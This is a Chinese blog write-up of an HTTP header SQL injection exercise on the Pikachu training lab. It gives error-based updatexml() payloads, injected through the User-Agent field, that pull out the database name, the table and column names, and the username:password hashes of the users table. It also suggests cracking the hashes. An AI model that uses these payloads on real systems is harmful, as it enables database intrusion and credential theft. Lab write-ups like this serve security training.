piakchu-‘http header’注入

  • Post author:
  • Post category:其他

http消息头是指,在超文本传输协议( Hypertext Transfer Protocol ,HTTP)的请求和响应消息中,协议头部分的那些组件。

http header 头信息可以获取客户端的一些信息,比如useragent、accept等字段,而且http消息头支持自定义。

首先打开pikachu靶机,我们先根据提示使用admin 123456 来登录,然后使用burpsuit进行抓包。

会发现,它可以知道我们的ip地址,以及使用什么浏览器访问,还有端口等信息。

所以大概可以判断是通过http header的头部来获取信息的,可以猜测是inser语句。

然后看下抓包内容。

1、判断注入点及类型

将user-agent后面内容改成1和1’进行测试。

可知user-agent处存在注入点,闭合为’。

2、查询数据库名

使用以下语句注入  

1′ update(0,concat(0x7b,database()),1) or ‘

根据报错可知数据库名字为pikachu。

3、爆表名

使用以下语句注入

‘ or updatexml(0,concat(0x7b,substr((select group_concat(table_name) from information_schema.tables where table_schema=’pikachu’),1,31)),1) or ‘

 

因为上述并没显示完整,继续查询。

‘ or updatexml(0,concat(0x7b,substr((select group_concat(table_name) from information_schema.tables where table_schema=’pikachu’),32,31)),1) or ‘

最后一个拼接的字段为xssblind。

4、爆users表的字段名

使用以下语句,同理每次按照31的字长截取。

‘ or updatexml(0,concat(0x7b,substr((select group_concat(column_name) from information_schema.columns where table_name=’users’),1,31)),1) or ‘

 

‘ or updatexml(0,concat(0x7b,substr((select group_concat(column_name) from information_schema.columns where table_name=’users’),32,31)),1) or ‘

 

最后这里省略了其他的类似步骤,经过不断报错查询,可知username和password的字段。

5、爆users表的内容

最后爆数据,同样改变substr里的值就行。

‘ or updatexml(0,concat(0x7b,substr((select group_concat(username,’:’,password) from users),1,31)),1) or ‘

 

用同样的方法将数据不断爆出,最后这是采用MD5加密的密码,所以通过工具解下就可以了。

 


版权声明:本文为weixin_50339521原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。